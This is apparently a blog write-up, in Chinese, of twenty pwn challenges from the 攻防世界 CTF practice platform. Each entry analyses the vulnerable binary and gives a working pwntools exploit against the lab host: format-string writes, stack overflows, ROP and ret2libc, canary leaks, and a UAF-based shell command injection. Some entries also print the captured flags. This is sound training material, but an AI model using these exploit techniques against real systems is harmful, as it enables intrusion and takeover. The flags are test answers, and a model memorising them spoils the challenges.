【WriteUp】攻防世界--Pwn题解(Part 1)

题目太多了,一个 Part 写 20 题叭

get_shell

Description:

运行就能拿到shell呢,真的


Solution:

送分题,直接 nc 连上去,具体流程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
VZZ@LAPTOP-1LKROVMM ~
$ nc 111.198.29.45 38923
ls -la
total 56
drwxr-x--- 1 0 1000 4096 Oct 4 2018 .
drwxr-x--- 1 0 1000 4096 Oct 4 2018 ..
-rwxr-x--- 1 0 1000 220 Aug 31 2015 .bash_logout
-rwxr-x--- 1 0 1000 3771 Aug 31 2015 .bashrc
-rwxr-x--- 1 0 1000 0 Sep 28 2018 .gitkeep
-rwxr-x--- 1 0 1000 655 May 16 2017 .profile
drwxr-x--- 1 0 1000 4096 Oct 4 2018 bin
drwxr-x--- 1 0 1000 4096 Oct 4 2018 dev
-rwxr----- 1 0 1000 45 Oct 4 11:38 flag
-rwxr-x--- 1 0 1000 8656 Sep 28 2018 get_shell
drwxr-x--- 1 0 1000 4096 Oct 4 2018 lib
drwxr-x--- 1 0 1000 4096 Oct 4 2018 lib32
drwxr-x--- 1 0 1000 4096 Oct 4 2018 lib64
cat flag
cyberpeace{d7e927c8dae07389640c3775e0b551dc}

Flag:

1
cyberpeace{d7e927c8dae07389640c3775e0b551dc}

CGfsb

Description:

菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用


Solution:

扔到IDA里看看(32位的)
Image

可以看到 pwnme == 8 时会执行 system(“cat flag”);
不过 pwnme == 8 并不重要,重要的是如何执行 system(“cat flag”);

看到上面一句有一个 printf(&s);
我们可以想到格式化字符串漏洞

双击 pwnme == 8 的 pwnme ,看到 pwnme 的地址

Image

然后去确定偏移量

Image

从 aaaa 的后面一段地址一直数到 61616161 一共10个,确定偏移量为10

这里的题解太久远了,还是我是新手的时候写的
其实可以安装个 pwngdb,用 fmtarg 确定偏移更方便

接下来就可以构造 payload 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="i386", os="linux")
# p = process('./CGfsb')
p = remote('111.198.29.45', '34594')
p.recvuntil("please tell me your name:")
p.sendline('')
p.recvuntil("leave your message please:")
pd = p32(0x0804A068)
pd += 'aaaa%10$n'
p.sendline(pd)
p.recvuntil('here is your flag:\n\n')
p.interactive()

1.p32() 可以让我们转换整数到小端序格式,p32 转换 4 byte,p64 和 p16 则分别转换 8 byte 和 2 byte 的整数
2.%num$x 是直接读取第num个位置的参数(在 linux 下有用,win 下没用)


Flag:

1
cyberpeace{c1a0117accdd30706716bfcd1fd6ce4f}

when_did_you_born

Description:

只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办


Solution:

漏洞点

1
gets(&v4);

可以看到

1
2
char v4; // [rsp+0h] [rbp-20h]
unsigned int v5; // [rsp+8h] [rbp-18h]

所以直接覆盖就完事了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote('111.198.29.45', 41498)
# p = process('./when_did_you_born')

pd = 'a' * 8
pd += p64(1926)

p.sendline('1')
p.sendline(pd)
p.recvuntil('Have Flag.\n')
p.interactive()

Flag:

1
cyberpeace{55a9caadbdd7f63ef86b719cf41bc887}

hello_pwn

Description:

pwn!,segment fault!菜鸡陷入了深思


Solution:

程序写精简一点就是这样

1
2
3
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 0x6E756161 )
system("cat flag.txt");

内存里两个地址偏移为 4,从如下可看

1
2
3
4
5
6
7
.bss:0000000000601068 unk_601068      db    ? ;               ; DATA XREF: main+3B↑o
.bss:0000000000601069 db ? ;
.bss:000000000060106A db ? ;
.bss:000000000060106B db ? ;
.bss:000000000060106C dword_60106C dd ? ; DATA XREF: main+4A↑r
.bss:000000000060106C _bss ends
.bss:000000000060106C

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="amd64", os="linux")
# p = process('./hello_pwn')
p = remote('111.198.29.45', 30720)

pd = 'a' * 4
pd += p64(0x6E756161)
p.send(pd)
p.recvuntil('bof\n')
p.interactive()

Flag:

1
cyberpeace{3df087dde68b2c08ff98df22d9290650}

level0

Description:

菜鸡了解了什么是溢出,他相信自己能得到shell


Solution:

漏洞点,越界写

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL);
}

程序有后门,直接覆盖到这即可

1
2
3
4
int callsystem()
{
return system("/bin/sh");
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

r = remote('111.198.29.45', 32490)
# r = process('./level0')
elf = ELF('./level0', checksec=False)

addr_callsystem = elf.sym['callsystem']

pd = 'a' * (0x80 + 8)
pd += p64(0x0000000000400431) # ret
pd += p64(addr_callsystem)

r.send(pd)
r.interactive()

Flag:

1
cyberpeace{1ed06291a87f6b8ad9e05a45a80aea0a}

level2

Description:

菜鸡请教大神如何获得flag,大神告诉他‘使用面向返回的编程(ROP)就可以了’


Solution:

漏洞点,越界写

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

构造脚本将 ret 覆盖成 plt_system 再去使用 /bin/sh 字符串即可提权

/bin/sh 可以用 shift + F12 来查看到

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

r = remote('111.198.29.45', 52273)
# r = process('./level2')
elf = ELF('./level2', checksec=False)

plt_system = elf.plt['system']
addr_bin_sh = 0x0804A024

pd = 'a' * (0x88 + 4)
pd += p32(plt_system)
pd += 'a' * 4
pd += p32(addr_bin_sh)

r.sendline(pd)
r.interactive()

Flag:

1
cyberpeace{92988f35d28ce36d20aa87e5a5aaa4db}

guess_num

Description:

菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么


Solution:

漏洞点还是 gets 函数

1
2
3
gets(&v8);
v3 = (const char *)seed[0];
srand(seed[0]);

看看偏移

1
2
char v8; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]

覆盖 seed[0] 为固定值,生成的随机数就会固定

所以我们把它覆盖成 0,自己也用数值为 0 的种子来生成随机数填上去即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from ctypes import *

r = remote('111.198.29.45', 42033)
# r = process('./guess_num')
clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')

clibc.srand(0)
pd = 'a' * 0x20
pd += p64(0)
r.sendline(pd)
for i in range(10):
r.recv()
pd = str(clibc.rand() % 6 + 1)
r.sendline(pd)
r.interactive()

Flag:

1
cyberpeace{14c27b805f2f1379fa79fca98ed2c478}

int_overflow

Description:

菜鸡感觉这题似乎没有办法溢出,真的么?


Solution:

程序给了后门

1
2
3
4
int what_is_this()
{
return system("cat flag");
}

漏洞点

1
2
3
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);

unsigned char 使得整数溢出成为了可能

如果我们输入 256 个字符,会使 v3 再次成为 0

之后靠 strcpy 来进行数据覆盖即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 0
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./int_overflow')
else:
p = remote('111.198.29.45', 54993)
elf = ELF('./int_overflow', checksec=False)

pd = 'a' * 0x18
pd += p32(0x0804868B)
pd = pd.ljust((256 + 4), 'A')
p.sendlineafter('Your choice:', '1')
p.sendafter('Please input your username:\n', 'binLep')
p.sendafter('Please input your passwd:\n', pd)
p.recvuntil('Success\n')
p.interactive()

Flag:

1
动态靶机

cgpwn2

Description:

菜鸡认为自己需要一个字符串


Solution:

还是 gets 函数~

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 0
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./cgpwn2')
else:
p = remote('111.198.29.45', 42768)
elf = ELF('./cgpwn2', checksec=False)
plt_system = elf.plt['system']

p.sendlineafter('please tell me your name\n', '/bin/sh\x00')
pd = 'a' * 0x2a
pd += p32(plt_system)
pd += p32(0x08048604) # main
pd += p32(0x0804A080) # name
p.sendlineafter('hello,you can leave some message here:\n', pd)
p.interactive()

Flag:

1
动态靶机

level3

Description:

libc!libc!这次没有system,你能帮菜鸡解决这个难题么?


Solution:

ret2libc 没啥好说的

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 0
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./level3')
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 46782)
libc = ELF('./libc_32.so.6', checksec=False)
elf = ELF('./level3', checksec=False)
plt_write = elf.plt['write']
got_write = elf.got['write']

pd = 'a' * 0x8c
pd += p32(plt_write)
pd += p32(0x0804844B) # main
pd += p32(1)
pd += p32(got_write)
pd += p32(4)
p.sendafter('Input:\n', pd)

addr_write = u32(p.recv(4))
success('addr_write = ' + hex(addr_write))
libcbase = addr_write - libc.sym['write']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

pd = 'a' * 0x8c
pd += p32(addr_system)
pd += p32(0x0804844B) # main
pd += p32(addr_bin_sh)
p.sendafter('Input:\n', pd)
p.interactive()

Flag:

1
动态靶机

dice_game

Description:

暂无


Solution:

这里就是会用 ctypes 基本就 ok 了

seed 可以被覆盖成自己想要的值,之后用 ctypes 一个个生成就行了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *

debug = 0
# context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./dice_game')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
clibc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('111.198.29.45', 49007)
libc = ELF('./libc.so.6', checksec=False)
clibc = cdll.LoadLibrary('./libc.so.6')
elf = ELF('./dice_game', checksec=False)

pd = 'a' * 0x40
pd += p64(1) # change seed[0]
p.sendafter('Welcome, let me know your name: ', pd)

clibc.srand(1)
for i in range(0, 50):
v2 = clibc.rand() % 6 + 1
p.sendlineafter('Give me the point(1~6): ', str(v2))
p.recvuntil('a' * 0x27 + '\x01\x48\x0a')
print p.recvuntil('}')
p.recvuntil('Bye bye!\n')
p.interactive()

Flag:

1
动态靶机

forgot

Description:

福克斯最近玩弄有限状态自动机。在探索概念实现正则表达式使用FSA他想实现一个电子邮件地址验证。 最近,Lua开始骚扰福克斯。对此,福克斯向Lua挑战斗智斗勇。福克斯承诺要奖励Lua,如果她能到不可达状态在FSA他实施过渡。可以在这里访问复制。 运行服务hack.bckdr.in:8009


Solution:

程序给了后门

1
2
3
4
5
6
7
int sub_80486CC()
{
char s; // [esp+1Eh] [ebp-3Ah]

snprintf(&s, 0x32u, "cat %s", "./flag");
return system(&s);
}

挑重点的几条代码,都在 main 函数里

1
2
3
4
5
6
7
8
9
10
11
char v2[32]; // [esp+10h] [ebp-74h]
int (*v3)(); // [esp+30h] [ebp-54h]
v14 = 1;
__isoc99_scanf("%s", v2);
for ( i = 0; ; ++i ){
v0 = i;
if ( v0 >= strlen(v2) )
break;
......
}
(*(&v3 + --v14))();

假使我们让 strlen(v2) 的值为 0

那么,v14 经过一系列操作会变成 0

所以只要将 v3 地址上面的值改成后门地址即可,最后会执行 v3 地址上面的函数指针

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 0
# context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./forgot')
else:
p = remote('111.198.29.45', 38457)

# gdb.attach(p, "b *0x08048A78\nc")
p.sendlineafter('What is your name?\n> ', 'binLep')
pd = '\x00' * 0x20
pd += p32(0x080486CC)
p.sendlineafter('Enter the string to be validate\n> ', pd)
p.interactive()

Flag:

1
动态靶机

warmup

Description:

暂无


Solution:

给了后门给了 gets,覆盖就完了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 0
# context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./warmup')
else:
p = remote('111.198.29.45', 45102)

p.recvuntil('-Warm Up-\nWOW:')
addr_target = int(p.recv(8), 16)
pd = 'a' * 0x48
pd += p64(addr_target)
p.sendlineafter('\n>', pd)
p.interactive()

Flag:

1
动态靶机

stack2

Description:

暂无


Solution:

偏移我是拿 gdb 找的

平台上没有/bin/bash,需要自己用sh去构造一下

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./stack2')
else:
p = remote('111.198.29.45', 47440)
elf = ELF('./stack2', checksec=False)
plt_system = elf.plt['system']
addr_sh = 0x08048987


def write_word(idx, addr_target):
for i in range(0, 4):
p.sendlineafter('5. exit\n', '3')
p.sendlineafter('which number to change:\n', str(idx + i))
p.sendlineafter('new number:\n', str(addr_target >> i * 0x08 & 0xff))


# gdb.attach(p, "b *0x080488F2\nc")
p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')
write_word(0x84, plt_system)
write_word(0x88, 0x080485D0)
write_word(0x8c, addr_sh)
p.sendlineafter('5. exit\n', '5')
p.interactive()

Flag:

1
动态靶机

pwn-100

Description:

暂无


Solution:

一道去符号化的简单栈溢出题,用 ret2libc 即可

这题就是给 read 函数的可写字符数给多了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./pwn-100')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 41874)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # Ubuntu-16.04
elf = ELF('./pwn-100', checksec=False)
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
addr_main = 0x4006B8
addr_rdi_r = 0x400763 # pop rdi ; ret

pd = 'a' * 0x48
pd += p64(addr_rdi_r)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(addr_main)
pd = pd.ljust(200, '\x00')
p.send(pd)

p.recvuntil('bye~\n')
addr_puts = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_puts - libc.sym['puts']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

# gdb.attach(p, "b *0x4006B7\nc")
pd = 'a' * 0x48
pd += p64(addr_rdi_r)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
pd = pd.ljust(200, 'A')
p.send(pd)
p.recvuntil('bye~\n')
p.interactive()

Flag:

1
动态靶机

Mary_Morton

Description:

非常简单的热身pwn


Solution:

程序给了后门

1
2
3
4
int sub_4008DA()
{
return system("/bin/cat ./flag");
}

发现开了 canary,所以靠格式化字符串泄露出 canary ,然后用栈溢出覆盖地址到后门即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./Mary_Morton')
else:
p = remote('111.198.29.45', 39112)
elf = ELF('./Mary_Morton', checksec=False)

p.sendlineafter('3. Exit the battle \n', '2')
sleep(1)
p.send('%23$p//')
iCanary = int(p.recvuntil('//')[: -2], 16)
success('iCanary = ' + hex(iCanary))
p.sendlineafter('3. Exit the battle \n', '1')
sleep(1)
pd = 'a' * 0x88
pd += p64(iCanary)
pd += 'a' * 8
pd += p64(0x4008DA) # backdoor
p.send(pd)
p.recvuntil('a' * 0x88 + '\n')
p.interactive()

Flag:

1
动态靶机

monkey

Description:

暂无


Solution:

输入help()以后浏览可用命令,在最下面发现 os 指令

于是尝试直接提权os.system("/bin/bash")

成功


Flag:

1
动态靶机

pwn1

Description:

暂无


Solution:

题目开了 canary,所以一开始要泄露 canary 来绕过检查

题目给的 libc 的/bin/sh地址有问题,用本地的过了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./babystack')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('111.198.29.45', 53332)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # Ubuntu16.04
elf = ELF('./babystack', checksec=False)
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
addr_rdi_r = 0x0000000000400a93 # pop rdi ; ret
addr_main = 0x0000000000400908

# leak iCanary
p.sendafter('>> ', '1')
pd = 'a' * 0x89
p.send(pd)
p.sendafter('>> ', '2')
p.recvuntil(pd)
iCanary = u64(p.recv(7).rjust(8, '\x00'))
success('iCanary = ' + hex(iCanary))

# leak libcbase
p.sendafter('>> ', '1')
pd = 'a' * 0x88
pd += p64(iCanary)
pd += 'A' * 8
pd += p64(addr_rdi_r)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(addr_main)
p.send(pd)
p.sendafter('>> ', '3')

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_puts - libc.sym['puts']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

# get shell
p.sendafter('>> ', '1')
pd = 'a' * 0x88
pd += p64(iCanary)
pd += 'A' * 8
pd += p64(addr_rdi_r)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
pd += p64(addr_main)
p.send(pd)
p.sendafter('>> ', '3')
p.interactive()

Flag:

1
动态靶机

time_formatter

Description:

将UNIX时间转换为日期是很困难的,所以玛丽编写了一个工具来完成这个任务。


Solution:

这用的知识就是创建堆块时,会先找之前被释放过的堆块,假如有适合的堆块(大于等于你申请的堆块大小),就会使用这块空间(UAF 漏洞)

程序的 get shell 点在这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall target(__int64 a1, __int64 a2, __int64 a3)
{
char command; // [rsp+8h] [rbp-810h]
unsigned __int64 v5; // [rsp+808h] [rbp-10h]

v5 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(&command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)dword_602120, ptr, a3);
__printf_chk(1LL, "Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, "Running command: %s\n", &command);
setenv("TZ", value, 1);
system(&command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}

只要使 command 变量里的双引号闭合,后面的字符就能当成 linux 命令使用

这里 1 选项里生成 ptr 指针时输入的字符有限制,所以不能直接输入我们想输入的字符串,限制如下

1
2
3
4
5
6
7
8
9
_BOOL8 __fastcall sub_400CB5(char *s)
{
char accept; // [rsp+5h] [rbp-43h]
unsigned __int64 v3; // [rsp+38h] [rbp-10h]

strcpy(&accept, "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ");
v3 = __readfsqword(0x28u);
return strspn(s, &accept) == strlen(s);
}

但是 3 中生成 value 的时候没有对字符串做任何检查,这时就可以利用 UAF 了

我们读代码,发现当退出之前就释放了两个堆块,没有做任何检查

那么我们可以先去生成一个 ptr 指针,再靠退出释放它,再去生成一个 value,则现在 value 所在的地址便是之前 ptr 所在的地址

然后运行 4 就完了,这里由于平台没有/bin/date,所以不能用&&

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
# context(log_level="debug", arch="amd64", os="linux")
if debug == 1:
p = process('./time_formatter')
else:
p = remote('111.198.29.45', 35630)

p.sendlineafter('> ', '1')
p.sendlineafter('Format: ', 'a')
p.sendlineafter('> ', '5')
p.sendlineafter('Are you sure you want to exit (y/N)? ', 'N')
p.sendlineafter('> ', '3')
p.sendlineafter('Time zone: ', '\' || /bin/sh\'')
p.sendlineafter('> ', '4')
p.interactive()

Flag:

1
动态靶机

pwn-200

Description:

暂无


Solution:

ret2libc 基础题

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

debug = 0
# context(log_level="debug", arch="i386", os="linux")
if debug == 1:
p = process('./pwn-200')
else:
p = remote('111.198.29.45', 52120)
elf = ELF('./pwn-200', checksec=False)
plt_write = elf.plt['write']
got_write = elf.got['write']
addr_main = 0x080484BE

pd = 'a' * 0x70
pd += p32(plt_write)
pd += p32(addr_main)
pd += p32(1)
pd += p32(got_write)
pd += p32(4)
p.sendafter('Welcome to XDCTF2015~!\n', pd)

addr_write = u32(p.recv(4))
libc = LibcSearcher('write', addr_write)
libcbase = addr_write - libc.dump('write')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')

pd = 'a' * 0x70
pd += p32(addr_system)
pd += p32(addr_main)
pd += p32(addr_bin_sh)
p.sendafter('Welcome to XDCTF2015~!\n', pd)
p.interactive()

Flag:

1
动态靶机
文章目录
  1. 1. get_shell
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. CGfsb
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. when_did_you_born
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
  4. 4. hello_pwn
    1. 4.1. Description:
    2. 4.2. Solution:
    3. 4.3. Flag:
  5. 5. level0
    1. 5.1. Description:
    2. 5.2. Solution:
    3. 5.3. Flag:
  6. 6. level2
    1. 6.1. Description:
    2. 6.2. Solution:
    3. 6.3. Flag:
  7. 7. guess_num
    1. 7.1. Description:
    2. 7.2. Solution:
    3. 7.3. Flag:
  8. 8. int_overflow
    1. 8.1. Description:
    2. 8.2. Solution:
    3. 8.3. Flag:
  9. 9. cgpwn2
    1. 9.1. Description:
    2. 9.2. Solution:
    3. 9.3. Flag:
  10. 10. level3
    1. 10.1. Description:
    2. 10.2. Solution:
    3. 10.3. Flag:
  11. 11. dice_game
    1. 11.1. Description:
    2. 11.2. Solution:
    3. 11.3. Flag:
  12. 12. forgot
    1. 12.1. Description:
    2. 12.2. Solution:
    3. 12.3. Flag:
  13. 13. warmup
    1. 13.1. Description:
    2. 13.2. Solution:
    3. 13.3. Flag:
  14. 14. stack2
    1. 14.1. Description:
    2. 14.2. Solution:
    3. 14.3. Flag:
  15. 15. pwn-100
    1. 15.1. Description:
    2. 15.2. Solution:
    3. 15.3. Flag:
  16. 16. Mary_Morton
    1. 16.1. Description:
    2. 16.2. Solution:
    3. 16.3. Flag:
  17. 17. monkey
    1. 17.1. Description:
    2. 17.2. Solution:
    3. 17.3. Flag:
  18. 18. pwn1
    1. 18.1. Description:
    2. 18.2. Solution:
    3. 18.3. Flag:
  19. 19. time_formatter
    1. 19.1. Description:
    2. 19.2. Solution:
    3. 19.3. Flag:
  20. 20. pwn-200
    1. 20.1. Description:
    2. 20.2. Solution:
    3. 20.3. Flag:
|